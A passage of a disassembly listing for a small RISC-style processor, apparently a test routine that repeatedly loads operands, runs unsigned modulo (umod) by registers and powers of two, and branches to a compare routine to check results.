d9b4: 0d 60 01 23 wh16 r9,0x3
d9b8: 10 40 01 29 ld32 r9,r9
d9bc: 00 a0 01 10 umod r8,r16
d9c0: 20 70 03 e2 movepc rret,8
d9c4: 14 30 c9 93 br 10 <compare>,#al
d9c8: 00 10 00 41 add r2,1
d9cc: 0d 42 15 18 wl16 r8,0x10b8
d9d0: 0d 60 01 03 wh16 r8,0x3
d9d4: 10 40 01 08 ld32 r8,r8
d9d8: 0d 44 36 14 wl16 r16,0x21b4
d9dc: 0d 60 02 03 wh16 r16,0x3
d9e0: 10 40 02 10 ld32 r16,r16
d9e4: 0d 46 55 30 wl16 r9,0x32b0
d9e8: 0d 60 01 23 wh16 r9,0x3
d9ec: 10 40 01 29 ld32 r9,r9
d9f0: 00 a0 01 10 umod r8,r16
d9f4: 20 70 03 e2 movepc rret,8
d9f8: 14 30 c9 86 br 10 <compare>,#al
d9fc: 00 10 00 41 add r2,1
da00: 0d 42 15 1c wl16 r8,0x10bc
da04: 0d 60 01 03 wh16 r8,0x3
da08: 10 40 01 08 ld32 r8,r8
da0c: 0d 44 36 18 wl16 r16,0x21b8
da10: 0d 60 02 03 wh16 r16,0x3
da14: 10 40 02 10 ld32 r16,r16
da18: 0d 46 55 34 wl16 r9,0x32b4
da1c: 0d 60 01 23 wh16 r9,0x3
da20: 10 40 01 29 ld32 r9,r9
da24: 00 a0 01 10 umod r8,r16
da28: 20 70 03 e2 movepc rret,8
da2c: 14 30 c9 79 br 10 <compare>,#al
da30: 00 10 00 41 add r2,1
da34: 0d 42 19 00 wl16 r8,0x10c0
da38: 0d 60 01 03 wh16 r8,0x3
da3c: 10 40 01 08 ld32 r8,r8
da40: 0d 44 36 1c wl16 r16,0x21bc
da44: 0d 60 02 03 wh16 r16,0x3
da48: 10 40 02 10 ld32 r16,r16
da4c: 0d 46 55 38 wl16 r9,0x32b8
da50: 0d 60 01 23 wh16 r9,0x3
da54: 10 40 01 29 ld32 r9,r9
da58: 00 a0 01 10 umod r8,r16
da5c: 20 70 03 e2 movepc rret,8
da60: 14 30 c9 6c br 10 <compare>,#al
da64: 00 10 00 41 add r2,1
da68: 0d 42 19 04 wl16 r8,0x10c4
da6c: 0d 60 01 03 wh16 r8,0x3
da70: 10 40 01 08 ld32 r8,r8
da74: 0d 44 3a 00 wl16 r16,0x21c0
da78: 0d 60 02 03 wh16 r16,0x3
da7c: 10 40 02 10 ld32 r16,r16
da80: 0d 46 55 3c wl16 r9,0x32bc
da84: 0d 60 01 23 wh16 r9,0x3
da88: 10 40 01 29 ld32 r9,r9
da8c: 00 a0 01 10 umod r8,r16
da90: 20 70 03 e2 movepc rret,8
da94: 14 30 c9 5f br 10 <compare>,#al
da98: 00 10 00 41 add r2,1
da9c: 0d 42 19 08 wl16 r8,0x10c8
daa0: 0d 60 01 03 wh16 r8,0x3
daa4: 10 40 01 08 ld32 r8,r8
daa8: 0d 44 3a 04 wl16 r16,0x21c4
daac: 0d 60 02 03 wh16 r16,0x3
dab0: 10 40 02 10 ld32 r16,r16
dab4: 0d 46 59 20 wl16 r9,0x32c0
dab8: 0d 60 01 23 wh16 r9,0x3
dabc: 10 40 01 29 ld32 r9,r9
dac0: 00 a0 01 10 umod r8,r16
dac4: 20 70 03 e2 movepc rret,8
dac8: 14 30 c9 52 br 10 <compare>,#al
dacc: 00 10 00 41 add r2,1
dad0: 0d 42 19 0c wl16 r8,0x10cc
dad4: 0d 60 01 03 wh16 r8,0x3
dad8: 10 40 01 08 ld32 r8,r8
dadc: 0d 44 3a 08 wl16 r16,0x21c8
dae0: 0d 60 02 03 wh16 r16,0x3
dae4: 10 40 02 10 ld32 r16,r16
dae8: 0d 46 59 24 wl16 r9,0x32c4
daec: 0d 60 01 23 wh16 r9,0x3
daf0: 10 40 01 29 ld32 r9,r9
daf4: 00 a0 01 10 umod r8,r16
daf8: 20 70 03 e2 movepc rret,8
dafc: 14 30 c9 45 br 10 <compare>,#al
db00: 00 10 00 41 add r2,1
db04: 0d 42 19 10 wl16 r8,0x10d0
db08: 0d 60 01 03 wh16 r8,0x3
db0c: 10 40 01 08 ld32 r8,r8
db10: 0d 44 3a 0c wl16 r16,0x21cc
db14: 0d 60 02 03 wh16 r16,0x3
db18: 10 40 02 10 ld32 r16,r16
db1c: 0d 46 59 28 wl16 r9,0x32c8
db20: 0d 60 01 23 wh16 r9,0x3
db24: 10 40 01 29 ld32 r9,r9
db28: 00 a0 01 10 umod r8,r16
db2c: 20 70 03 e2 movepc rret,8
db30: 14 30 c9 38 br 10 <compare>,#al
db34: 00 10 00 41 add r2,1
db38: 0d 42 19 14 wl16 r8,0x10d4
db3c: 0d 60 01 03 wh16 r8,0x3
db40: 10 40 01 08 ld32 r8,r8
db44: 0d 44 3a 10 wl16 r16,0x21d0
db48: 0d 60 02 03 wh16 r16,0x3
db4c: 10 40 02 10 ld32 r16,r16
db50: 0d 46 59 2c wl16 r9,0x32cc
db54: 0d 60 01 23 wh16 r9,0x3
db58: 10 40 01 29 ld32 r9,r9
db5c: 00 a0 01 10 umod r8,r16
db60: 20 70 03 e2 movepc rret,8
db64: 14 30 c9 2b br 10 <compare>,#al
db68: 00 10 00 41 add r2,1
db6c: 0d 42 19 18 wl16 r8,0x10d8
db70: 0d 60 01 03 wh16 r8,0x3
db74: 10 40 01 08 ld32 r8,r8
db78: 0d 44 3a 14 wl16 r16,0x21d4
db7c: 0d 60 02 03 wh16 r16,0x3
db80: 10 40 02 10 ld32 r16,r16
db84: 0d 46 59 30 wl16 r9,0x32d0
db88: 0d 60 01 23 wh16 r9,0x3
db8c: 10 40 01 29 ld32 r9,r9
db90: 00 a0 01 10 umod r8,r16
db94: 20 70 03 e2 movepc rret,8
db98: 14 30 c9 1e br 10 <compare>,#al
db9c: 00 10 00 41 add r2,1
dba0: 0d 42 19 1c wl16 r8,0x10dc
dba4: 0d 60 01 03 wh16 r8,0x3
dba8: 10 40 01 08 ld32 r8,r8
dbac: 0d 44 3a 18 wl16 r16,0x21d8
dbb0: 0d 60 02 03 wh16 r16,0x3
dbb4: 10 40 02 10 ld32 r16,r16
dbb8: 0d 46 59 34 wl16 r9,0x32d4
dbbc: 0d 60 01 23 wh16 r9,0x3
dbc0: 10 40 01 29 ld32 r9,r9
dbc4: 00 a0 01 10 umod r8,r16
dbc8: 20 70 03 e2 movepc rret,8
dbcc: 14 30 c9 11 br 10 <compare>,#al
dbd0: 00 10 00 41 add r2,1
dbd4: 0d 42 1d 00 wl16 r8,0x10e0
dbd8: 0d 60 01 03 wh16 r8,0x3
dbdc: 10 40 01 08 ld32 r8,r8
dbe0: 0d 44 3a 1c wl16 r16,0x21dc
dbe4: 0d 60 02 03 wh16 r16,0x3
dbe8: 10 40 02 10 ld32 r16,r16
dbec: 0d 46 59 38 wl16 r9,0x32d8
dbf0: 0d 60 01 23 wh16 r9,0x3
dbf4: 10 40 01 29 ld32 r9,r9
dbf8: 00 a0 01 10 umod r8,r16
dbfc: 20 70 03 e2 movepc rret,8
dc00: 14 30 c9 04 br 10 <compare>,#al
dc04: 00 10 00 41 add r2,1
dc08: 0d 42 1d 04 wl16 r8,0x10e4
dc0c: 0d 60 01 03 wh16 r8,0x3
dc10: 10 40 01 08 ld32 r8,r8
dc14: 0d 44 3e 00 wl16 r16,0x21e0
dc18: 0d 60 02 03 wh16 r16,0x3
dc1c: 10 40 02 10 ld32 r16,r16
dc20: 0d 46 59 3c wl16 r9,0x32dc
dc24: 0d 60 01 23 wh16 r9,0x3
dc28: 10 40 01 29 ld32 r9,r9
dc2c: 00 a0 01 10 umod r8,r16
dc30: 20 70 03 e2 movepc rret,8
dc34: 14 30 c8 f7 br 10 <compare>,#al
dc38: 00 10 00 41 add r2,1
dc3c: 0d 42 1d 08 wl16 r8,0x10e8
dc40: 0d 60 01 03 wh16 r8,0x3
dc44: 10 40 01 08 ld32 r8,r8
dc48: 0d 44 3e 04 wl16 r16,0x21e4
dc4c: 0d 60 02 03 wh16 r16,0x3
dc50: 10 40 02 10 ld32 r16,r16
dc54: 0d 46 5d 20 wl16 r9,0x32e0
dc58: 0d 60 01 23 wh16 r9,0x3
dc5c: 10 40 01 29 ld32 r9,r9
dc60: 00 a0 01 10 umod r8,r16
dc64: 20 70 03 e2 movepc rret,8
dc68: 14 30 c8 ea br 10 <compare>,#al
dc6c: 00 10 00 41 add r2,1
dc70: 0d 42 1d 0c wl16 r8,0x10ec
dc74: 0d 60 01 03 wh16 r8,0x3
dc78: 10 40 01 08 ld32 r8,r8
dc7c: 0d 44 3e 08 wl16 r16,0x21e8
dc80: 0d 60 02 03 wh16 r16,0x3
dc84: 10 40 02 10 ld32 r16,r16
dc88: 0d 46 5d 24 wl16 r9,0x32e4
dc8c: 0d 60 01 23 wh16 r9,0x3
dc90: 10 40 01 29 ld32 r9,r9
dc94: 00 a0 01 10 umod r8,r16
dc98: 20 70 03 e2 movepc rret,8
dc9c: 14 30 c8 dd br 10 <compare>,#al
dca0: 00 10 00 41 add r2,1
dca4: 0d 42 1d 10 wl16 r8,0x10f0
dca8: 0d 60 01 03 wh16 r8,0x3
dcac: 10 40 01 08 ld32 r8,r8
dcb0: 0d 44 3e 0c wl16 r16,0x21ec
dcb4: 0d 60 02 03 wh16 r16,0x3
dcb8: 10 40 02 10 ld32 r16,r16
dcbc: 0d 46 5d 28 wl16 r9,0x32e8
dcc0: 0d 60 01 23 wh16 r9,0x3
dcc4: 10 40 01 29 ld32 r9,r9
dcc8: 00 a0 01 10 umod r8,r16
dccc: 20 70 03 e2 movepc rret,8
dcd0: 14 30 c8 d0 br 10 <compare>,#al
dcd4: 00 10 00 41 add r2,1
dcd8: 0d 42 1d 14 wl16 r8,0x10f4
dcdc: 0d 60 01 03 wh16 r8,0x3
dce0: 10 40 01 08 ld32 r8,r8
dce4: 0d 44 3e 10 wl16 r16,0x21f0
dce8: 0d 60 02 03 wh16 r16,0x3
dcec: 10 40 02 10 ld32 r16,r16
dcf0: 0d 46 5d 2c wl16 r9,0x32ec
dcf4: 0d 60 01 23 wh16 r9,0x3
dcf8: 10 40 01 29 ld32 r9,r9
dcfc: 00 a0 01 10 umod r8,r16
dd00: 20 70 03 e2 movepc rret,8
dd04: 14 30 c8 c3 br 10 <compare>,#al
dd08: 00 10 00 41 add r2,1
dd0c: 0d 42 1d 18 wl16 r8,0x10f8
dd10: 0d 60 01 03 wh16 r8,0x3
dd14: 10 40 01 08 ld32 r8,r8
dd18: 0d 44 3e 14 wl16 r16,0x21f4
dd1c: 0d 60 02 03 wh16 r16,0x3
dd20: 10 40 02 10 ld32 r16,r16
dd24: 0d 46 5d 30 wl16 r9,0x32f0
dd28: 0d 60 01 23 wh16 r9,0x3
dd2c: 10 40 01 29 ld32 r9,r9
dd30: 00 a0 01 10 umod r8,r16
dd34: 20 70 03 e2 movepc rret,8
dd38: 14 30 c8 b6 br 10 <compare>,#al
dd3c: 00 10 00 41 add r2,1
dd40: 0c 40 00 42 xor r2,r2
dd44: 00 10 00 61 add r3,1
dd48: 0d 46 5d 14 wl16 r8,0x32f4
dd4c: 0d 60 01 03 wh16 r8,0x3
dd50: 10 40 01 08 ld32 r8,r8
dd54: 0d 46 a5 2c wl16 r9,0x352c
dd58: 0d 60 01 23 wh16 r9,0x3
dd5c: 10 40 01 29 ld32 r9,r9
dd60: 00 b0 01 01 umod r8,0x1
dd64: 20 70 03 e2 movepc rret,8
dd68: 14 30 c8 aa br 10 <compare>,#al
dd6c: 00 10 00 41 add r2,1
dd70: 0d 46 5d 18 wl16 r8,0x32f8
dd74: 0d 60 01 03 wh16 r8,0x3
dd78: 10 40 01 08 ld32 r8,r8
dd7c: 0d 46 a5 30 wl16 r9,0x3530
dd80: 0d 60 01 23 wh16 r9,0x3
dd84: 10 40 01 29 ld32 r9,r9
dd88: 00 b0 01 02 umod r8,0x2
dd8c: 20 70 03 e2 movepc rret,8
dd90: 14 30 c8 a0 br 10 <compare>,#al
dd94: 00 10 00 41 add r2,1
dd98: 0d 46 5d 1c wl16 r8,0x32fc
dd9c: 0d 60 01 03 wh16 r8,0x3
dda0: 10 40 01 08 ld32 r8,r8
dda4: 0d 46 a5 34 wl16 r9,0x3534
dda8: 0d 60 01 23 wh16 r9,0x3
ddac: 10 40 01 29 ld32 r9,r9
ddb0: 00 b0 01 04 umod r8,0x4
ddb4: 20 70 03 e2 movepc rret,8
ddb8: 14 30 c8 96 br 10 <compare>,#al
ddbc: 00 10 00 41 add r2,1
ddc0: 0d 46 61 00 wl16 r8,0x3300
ddc4: 0d 60 01 03 wh16 r8,0x3
ddc8: 10 40 01 08 ld32 r8,r8
ddcc: 0d 46 a5 38 wl16 r9,0x3538
ddd0: 0d 60 01 23 wh16 r9,0x3
ddd4: 10 40 01 29 ld32 r9,r9
ddd8: 00 b0 01 08 umod r8,0x8
dddc: 20 70 03 e2 movepc rret,8
dde0: 14 30 c8 8c br 10 <compare>,#al
dde4: 00 10 00 41 add r2,1
dde8: 0d 46 61 04 wl16 r8,0x3304
ddec: 0d 60 01 03 wh16 r8,0x3
ddf0: 10 40 01 08 ld32 r8,r8
ddf4: 0d 46 a5 3c wl16 r9,0x353c
ddf8: 0d 60 01 23 wh16 r9,0x3
ddfc: 10 40 01 29 ld32 r9,r9
de00: 00 b0 01 10 umod r8,0x10
de04: 20 70 03 e2 movepc rret,8
de08: 14 30 c8 82 br 10 <compare>,#al
de0c: 00 10 00 41 add r2,1
de10: 0d 46 61 08 wl16 r8,0x3308
de14: 0d 60 01 03 wh16 r8,0x3
de18: 10 40 01 08 ld32 r8,r8
de1c: 0d 46 a9 20 wl16 r9,0x3540
de20: 0d 60 01 23 wh16 r9,0x3
de24: 10 40 01 29 ld32 r9,r9
de28: 00 b0 05 00 umod r8,0x20
de2c: 20 70 03 e2 movepc rret,8
de30: 14 30 c8 78 br 10 <compare>,#al
de34: 00 10 00 41 add r2,1
de38: 0d 46 61 0c wl16 r8,0x330c
de3c: 0d 60 01 03 wh16 r8,0x3
de40: 10 40 01 08 ld32 r8,r8
de44: 0d 46 a9 24 wl16 r9,0x3544
de48: 0d 60 01 23 wh16 r9,0x3
de4c: 10 40 01 29 ld32 r9,r9
de50: 00 b0 09 00 umod r8,0x40
de54: 20 70 03 e2 movepc rret,8
de58: 14 30 c8 6e br 10 <compare>,#al
de5c: 00 10 00 41 add r2,1
de60: 0d 46 61 10 wl16 r8,0x3310
de64: 0d 60 01 03 wh16 r8,0x3
de68: 10 40 01 08 ld32 r8,r8
de6c: 0d 46 a9 28 wl16 r9,0x3548
de70: 0d 60 01 23 wh16 r9,0x3
de74: 10 40 01 29 ld32 r9,r9
de78: 00 b0 11 00 umod r8,0x80
de7c: 20 70 03 e2 movepc rret,8
de80: 14 30 c8 64 br 10 <compare>,#al
de84: 00 10 00 41 add r2,1
de88: 0d 46 61 14 wl16 r8,0x3314
de8c: 0d 60 01 03 wh16 r8,0x3
de90: 10 40 01 08 ld32 r8,r8
de94: 0d 46 a9 2c wl16 r9,0x354c
de98: 0d 60 01 23 wh16 r9,0x3
de9c: 10 40 01 29 ld32 r9,r9
dea0: 00 b0 21 00 umod r8,0x100
dea4: 20 70 03 e2 movepc rret,8
dea8: 14 30 c8 5a br 10 <compare>,#al
deac: 00 10 00 41 add r2,1
deb0: 0d 46 61 18 wl16 r8,0x3318
deb4: 0d 60 01 03 wh16 r8,0x3
deb8: 10 40 01 08 ld32 r8,r8
debc: 0d 46 a9 30 wl16 r9,0x3550
dec0: 0d 60 01 23 wh16 r9,0x3
dec4: 10 40 01 29 ld32 r9,r9
dec8: 00 b0 41 00 umod r8,0x200
decc: 20 70 03 e2 movepc rret,8
ded0: 14 30 c8 50 br 10 <compare>,#al
ded4: 00 10 00 41 add r2,1
ded8: 0d 46 61 1c wl16 r8,0x331c
dedc: 0d 60 01 03 wh16 r8,0x3
dee0: 10 40 01 08 ld32 r8,r8
dee4: 0d 46 a9 34 wl16 r9,0x3554
dee8: 0d 60 01 23 wh16 r9,0x3
deec: 10 40 01 29 ld32 r9,r9
def0: 00 b0 81 00 umod r8,0x400
def4: 20 70 03 e2 movepc rret,8
def8: 14 30 c8 46 br 10 <compare>,#al
defc: 00 10 00 41 add r2,1
df00: 0d 46 65 00 wl16 r8,0x3320
df04: 0d 60 01 03 wh16 r8,0x3
df08: 10 40 01 08 ld32 r8,r8
df0c: 0d 46 a9 38 wl16 r9,0x3558
df10: 0d 60 01 23 wh16 r9,0x3
df14: 10 40 01 29 ld32 r9,r9
df18: 00 b0 01 01 umod r8,0x1
df1c: 20 70 03 e2 movepc rret,8
df20: 14 30 c8 3c br 10 <compare>,#al
df24: 00 10 00 41 add r2,1
df28: 0d 46 65 04 wl16 r8,0x3324
df2c: 0d 60 01 03 wh16 r8,0x3
df30: 10 40 01 08 ld32 r8,r8
df34: 0d 46 a9 3c wl16 r9,0x355c
df38: 0d 60 01 23 wh16 r9,0x3
df3c: 10 40 01 29 ld32 r9,r9
df40: 00 b0 01 02 umod r8,0x2
df44: 20 70 03 e2 movepc rret,8
df48: 14 30 c8 32 br 10 <compare>,#al
df4c: 00 10 00 41 add r2,1
df50: 0d 46 65 08 wl16 r8,0x3328
df54: 0d 60 01 03 wh16 r8,0x3
df58: 10 40 01 08 ld32 r8,r8
df5c: 0d 46 ad 20 wl16 r9,0x3560
df60: 0d 60 01 23 wh16 r9,0x3
df64: 10 40 01 29 ld32 r9,r9
df68: 00 b0 01 04 umod r8,0x4
df6c: 20 70 03 e2 movepc rret,8
df70: 14 30 c8 28 br 10 <compare>,#al
df74: 00 10 00 41 add r2,1
df78: 0d 46 65 0c wl16 r8,0x332c
df7c: 0d 60 01 03 wh16 r8,0x3
df80: 10 40 01 08 ld32 r8,r8
df84: 0d 46 ad 24 wl16 r9,0x3564
df88: 0d 60 01 23 wh16 r9,0x3
df8c: 10 40 01 29 ld32 r9,r9
df90: 00 b0 01 08 umod r8,0x8
df94: 20 70 03 e2 movepc rret,8
df98: 14 30 c8 1e br 10 <compare>,#al
df9c: 00 10 00 41 add r2,1
dfa0: 0d 46 65 10 wl16 r8,0x3330
dfa4: 0d 60 01 03 wh16 r8,0x3
dfa8: 10 40 01 08 ld32 r8,r8
dfac: 0d 46 ad 28 wl16 r9,0x3568
dfb0: 0d 60 01 23 wh16 r9,0x3
dfb4: 10 40 01 29 ld32 r9,r9
dfb8: 00 b0 01 10 umod r8,0x10
dfbc: 20 70 03 e2 movepc rret,8
dfc0: 14 30 c8 14 br 10 <compare>,#al
dfc4: 00 10 00 41 add r2,1
dfc8: 0d 46 65 14 wl16 r8,0x3334
dfcc: 0d 60 01 03 wh16 r8,0x3
dfd0: 10 40 01 08 ld32 r8,r8
dfd4: 0d 46 ad 2c wl16 r9,0x356c
dfd8: 0d 60 01 23 wh16 r9,0x3
dfdc: 10 40 01 29 ld32 r9,r9
dfe0: 00 b0 05 00 umod r8,0x20
dfe4: 20 70 03 e2 movepc rret,8
dfe8: 14 30 c8 0a br 10 <compare>,#al
dfec: 00 10 00 41 add r2,1
dff0: 0d 46 65 18 wl16 r8,0x3338
dff4: 0d 60 01 03 wh16 r8,0x3
dff8: 10 40 01 08 ld32 r8,r8
dffc: 0d 46 ad 30 wl16 r9,0x3570
e000: 0d 60 01 23 wh16 r9,0x3
e004: 10 40 01 29 ld32 r9,r9
e008: 00 b0 09 00 umod r8,0x40
e00c: 20 70 03 e2 movepc rret,8
e010: 14 30 c8 00 br 10 <compare>,#al
e014: 00 10 00 41 add r2,1
e018: 0d 46 65 1c wl16 r8,0x333c
e01c: 0d 60 01 03 wh16 r8,0x3
e020: 10 40 01 08 ld32 r8,r8
e024: 0d 46 ad 34 wl16 r9,0x3574
e028: 0d 60 01 23 wh16 r9,0x3
e02c: 10 40 01 29 ld32 r9,r9
e030: 00 b0 11 00 umod r8,0x80
e034: 20 70 03 e2 movepc rret,8
e038: 14 30 c7 f6 br 10 <compare>,#al
e03c: 00 10 00 41 add r2,1
e040: 0d 46 69 00 wl16 r8,0x3340
e044: 0d 60 01 03 wh16 r8,0x3
e048: 10 40 01 08 ld32 r8,r8
e04c: 0d 46 ad 38 wl16 r9,0x3578
e050: 0d 60 01 23 wh16 r9,0x3
e054: 10 40 01 29 ld32 r9,r9
e058: 00 b0 21 00 umod r8,0x100
e05c: 20 70 03 e2 movepc rret,8
e060: 14 30 c7 ec br 10 <compare>,#al
e064: 00 10 00 41 add r2,1
e068: 0d 46 69 04 wl16 r8,0x3344
e06c: 0d 60 01 03 wh16 r8,0x3
e070: 10 40 01 08 ld32 r8,r8
e074: 0d 46 ad 3c wl16 r9,0x357c
e078: 0d 60 01 23 wh16 r9,0x3
e07c: 10 40 01 29 ld32 r9,r9
e080: 00 b0 41 00 umod r8,0x200
e084: 20 70 03 e2 movepc rret,8
e088: 14 30 c7 e2 br 10 <compare>,#al
e08c: 00 10 00 41 add r2,1
e090: 0d 46 69 08 wl16 r8,0x3348
e094: 0d 60 01 03 wh16 r8,0x3
e098: 10 40 01 08 ld32 r8,r8
e09c: 0d 46 b1 20 wl16 r9,0x3580
e0a0: 0d 60 01 23 wh16 r9,0x3
e0a4: 10 40 01 29 ld32 r9,r9
e0a8: 00 b0 81 00 umod r8,0x400
e0ac: 20 70 03 e2 movepc rret,8
e0b0: 14 30 c7 d8 br 10 <compare>,#al
e0b4: 00 10 00 41 add r2,1
e0b8: 0d 46 69 0c wl16 r8,0x334c
e0bc: 0d 60 01 03 wh16 r8,0x3
e0c0: 10 40 01 08 ld32 r8,r8
e0c4: 0d 46 b1 24 wl16 r9,0x3584
e0c8: 0d 60 01 23 wh16 r9,0x3
e0cc: 10 40 01 29 ld32 r9,r9
e0d0: 00 b0 01 01 umod r8,0x1
e0d4: 20 70 03 e2 movepc rret,8
e0d8: 14 30 c7 ce br 10 <compare>,#al
e0dc: 00 10 00 41 add r2,1
e0e0: 0d 46 69 10 wl16 r8,0x3350
e0e4: 0d 60 01 03 wh16 r8,0x3
e0e8: 10 40 01 08 ld32 r8,r8
e0ec: 0d 46 b1 28 wl16 r9,0x3588
e0f0: 0d 60 01 23 wh16 r9,0x3
e0f4: 10 40 01 29 ld32 r9,r9
e0f8: 00 b0 01 02 umod r8,0x2
e0fc: 20 70 03 e2 movepc rret,8
e100: 14 30 c7 c4 br 10 <compare>,#al
e104: 00 10 00 41 add r2,1
e108: 0d 46 69 14 wl16 r8,0x3354
e10c: 0d 60 01 03 wh16 r8,0x3
e110: 10 40 01 08 ld32 r8,r8
e114: 0d 46 b1 2c wl16 r9,0x358c
e118: 0d 60 01 23 wh16 r9,0x3
e11c: 10 40 01 29 ld32 r9,r9
e120: 00 b0 01 04 umod r8,0x4
e124: 20 70 03 e2 movepc rret,8
e128: 14 30 c7 ba br 10 <compare>,#al
e12c: 00 10 00 41 add r2,1
e130: 0d 46 69 18 wl16 r8,0x3358
e134: 0d 60 01 03 wh16 r8,0x3
e138: 10 40 01 08 ld32 r8,r8
e13c: 0d 46 b1 30 wl16 r9,0x3590
e140: 0d 60 01 23 wh16 r9,0x3
e144: 10 40 01 29 ld32 r9,r9
e148: 00 b0 01 08 umod r8,0x8
e14c: 20 70 03 e2 movepc rret,8
e150: 14 30 c7 b0 br 10 <compare>,#al
e154: 00 10 00 41 add r2,1
e158: 0d 46 69 1c wl16 r8,0x335c
e15c: 0d 60 01 03 wh16 r8,0x3
e160: 10 40 01 08 ld32 r8,r8
e164: 0d 46 b1 34 wl16 r9,0x3594
e168: 0d 60 01 23 wh16 r9,0x3
e16c: 10 40 01 29 ld32 r9,r9
e170: 00 b0 01 10 umod r8,0x10
e174: 20 70 03 e2 movepc rret,8
e178: 14 30 c7 a6 br 10 <compare>,#al
e17c: 00 10 00 41 add r2,1
e180: 0d 46 6d 00 wl16 r8,0x3360
e184: 0d 60 01 03 wh16 r8,0x3
e188: 10 40 01 08 ld32 r8,r8
e18c: 0d 46 b1 38 wl16 r9,0x3598
e190: 0d 60 01 23 wh16 r9,0x3
e194: 10 40 01 29 ld32 r9,r9
e198: 00 b0 05 00 umod r8,0x20
e19c: 20 70 03 e2 movepc rret,8
e1a0: 14 30 c7 9c br 10 <compare>,#al
e1a4: 00 10 00 41 add r2,1
e1a8: 0d 46 6d 04 wl16 r8,0x3364
e1ac: 0d 60 01 03 wh16 r8,0x3
e1b0: 10 40 01 08 ld32 r8,r8
e1b4: 0d 46 b1 3c wl16 r9,0x359c
e1b8: 0d 60 01 23 wh16 r9,0x3
e1bc: 10 40 01 29 ld32 r9,r9
e1c0: 00 b0 09 00 umod r8,0x40
e1c4: 20 70 03 e2 movepc rret,8
e1c8: 14 30 c7 92 br 10 <compare>,#al
e1cc: 00 10 00 41 add r2,1
e1d0: 0d 46 6d 08 wl16 r8,0x3368
e1d4: 0d 60 01 03 wh16 r8,0x3
e1d8: 10 40 01 08 ld32 r8,r8
e1dc: 0d 46 b5 20 wl16 r9,0x35a0
e1e0: 0d 60 01 23 wh16 r9,0x3
e1e4: 10 40 01 29 ld32 r9,r9
e1e8: 00 b0 11 00 umod r8,0x80
e1ec: 20 70 03 e2 movepc rret,8
e1f0: 14 30 c7 88 br 10 <compare>,#al
e1f4: 00 10 00 41 add r2,1
e1f8: 0d 46 6d 0c wl16 r8,0x336c
e1fc: 0d 60 01 03 wh16 r8,0x3
e200: 10 40 01 08 ld32 r8,r8
e204: 0d 46 b5 24 wl16 r9,0x35a4
e208: 0d 60 01 23 wh16 r9,0x3
e20c: 10 40 01 29 ld32 r9,r9
e210: 00 b0 21 00 umod r8,0x100
e214: 20 70 03 e2 movepc rret,8
e218: 14 30 c7 7e br 10 <compare>,#al
e21c: 00 10 00 41 add r2,1
e220: 0d 46 6d 10 wl16 r8,0x3370
e224: 0d 60 01 03 wh16 r8,0x3
e228: 10 40 01 08 ld32 r8,r8
e22c: 0d 46 b5 28 wl16 r9,0x35a8
e230: 0d 60 01 23 wh16 r9,0x3
e234: 10 40 01 29 ld32 r9,r9
e238: 00 b0 41 00 umod r8,0x200
e23c: 20 70 03 e2 movepc rret,8
e240: 14 30 c7 74 br 10 <compare>,#al
e244: 00 10 00 41 add r2,1
e248: 0d 46 6d 14 wl16 r8,0x3374
e24c: 0d 60 01 03 wh16 r8,0x3
e250: 10 40 01 08 ld32 r8,r8
e254: 0d 46 b5 2c wl16 r9,0x35ac
e258: 0d 60 01 23 wh16 r9,0x3
e25c: 10 40 01 29 ld32 r9,r9
e260: 00 b0 81 00 umod r8,0x400
e264: 20 70 03 e2 movepc rret,8
e268: 14 30 c7 6a br 10 <compare>,#al
e26c: 00 10 00 41 add r2,1
e270: 0d 46 6d 18 wl16 r8,0x3378
e274: 0d 60 01 03 wh16 r8,0x3
e278: 10 40 01 08 ld32 r8,r8
e27c: 0d 46 b5 30 wl16 r9,0x35b0
e280: 0d 60 01 23 wh16 r9,0x3
e284: 10 40 01 29 ld32 r9,r9
e288: 00 b0 01 01 umod r8,0x1
e28c: 20 70 03 e2 movepc rret,8
e290: 14 30 c7 60 br 10 <compare>,#al
e294: 00 10 00 41 add r2,1
e298: 0d 46 6d 1c wl16 r8,0x337c
e29c: 0d 60 01 03 wh16 r8,0x3
e2a0: 10 40 01 08 ld32 r8,r8
e2a4: 0d 46 b5 34 wl16 r9,0x35b4
e2a8: 0d 60 01 23 wh16 r9,0x3
e2ac: 10 40 01 29 ld32 r9,r9
e2b0: 00 b0 01 02 umod r8,0x2
e2b4: 20 70 03 e2 movepc rret,8
e2b8: 14 30 c7 56 br 10 <compare>,#al
e2bc: 00 10 00 41 add r2,1
e2c0: 0d 46 71 00 wl16 r8,0x3380
e2c4: 0d 60 01 03 wh16 r8,0x3
e2c8: 10 40 01 08 ld32 r8,r8
e2cc: 0d 46 b5 38 wl16 r9,0x35b8
e2d0: 0d 60 01 23 wh16 r9,0x3
e2d4: 10 40 01 29 ld32 r9,r9
e2d8: 00 b0 01 04 umod r8,0x4
e2dc: 20 70 03 e2 movepc rret,8
e2e0: 14 30 c7 4c br 10 <compare>,#al
e2e4: 00 10 00 41 add r2,1
e2e8: 0d 46 71 04 wl16 r8,0x3384
e2ec: 0d 60 01 03 wh16 r8,0x3
e2f0: 10 40 01 08 ld32 r8,r8
e2f4: 0d 46 b5 3c wl16 r9,0x35bc
e2f8: 0d 60 01 23 wh16 r9,0x3
e2fc: 10 40 01 29 ld32 r9,r9
e300: 00 b0 01 08 umod r8,0x8
e304: 20 70 03 e2 movepc rret,8
e308: 14 30 c7 42 br 10 <compare>,#al
e30c: 00 10 00 41 add r2,1
e310: 0d 46 71 08 wl16 r8,0x3388
e314: 0d 60 01 03 wh16 r8,0x3
e318: 10 40 01 08 ld32 r8,r8
e31c: 0d 46 b9 20 wl16 r9,0x35c0
e320: 0d 60 01 23 wh16 r9,0x3
e324: 10 40 01 29 ld32 r9,r9
e328: 00 b0 01 10 umod r8,0x10
e32c: 20 70 03 e2 movepc rret,8
e330: 14 30 c7 38 br 10 <compare>,#al
e334: 00 10 00 41 add r2,1
e338: 0d 46 71 0c wl16 r8,0x338c
e33c: 0d 60 01 03 wh16 r8,0x3
e340: 10 40 01 08 ld32 r8,r8
e344: 0d 46 b9 24 wl16 r9,0x35c4
e348: 0d 60 01 23 wh16 r9,0x3
e34c: 10 40 01 29 ld32 r9,r9
e350: 00 b0 05 00 umod r8,0x20
e354: 20 70 03 e2 movepc rret,8
e358: 14 30 c7 2e br 10 <compare>,#al
e35c: 00 10 00 41 add r2,1
e360: 0d 46 71 10 wl16 r8,0x3390
e364: 0d 60 01 03 wh16 r8,0x3
e368: 10 40 01 08 ld32 r8,r8
e36c: 0d 46 b9 28 wl16 r9,0x35c8
e370: 0d 60 01 23 wh16 r9,0x3
e374: 10 40 01 29 ld32 r9,r9
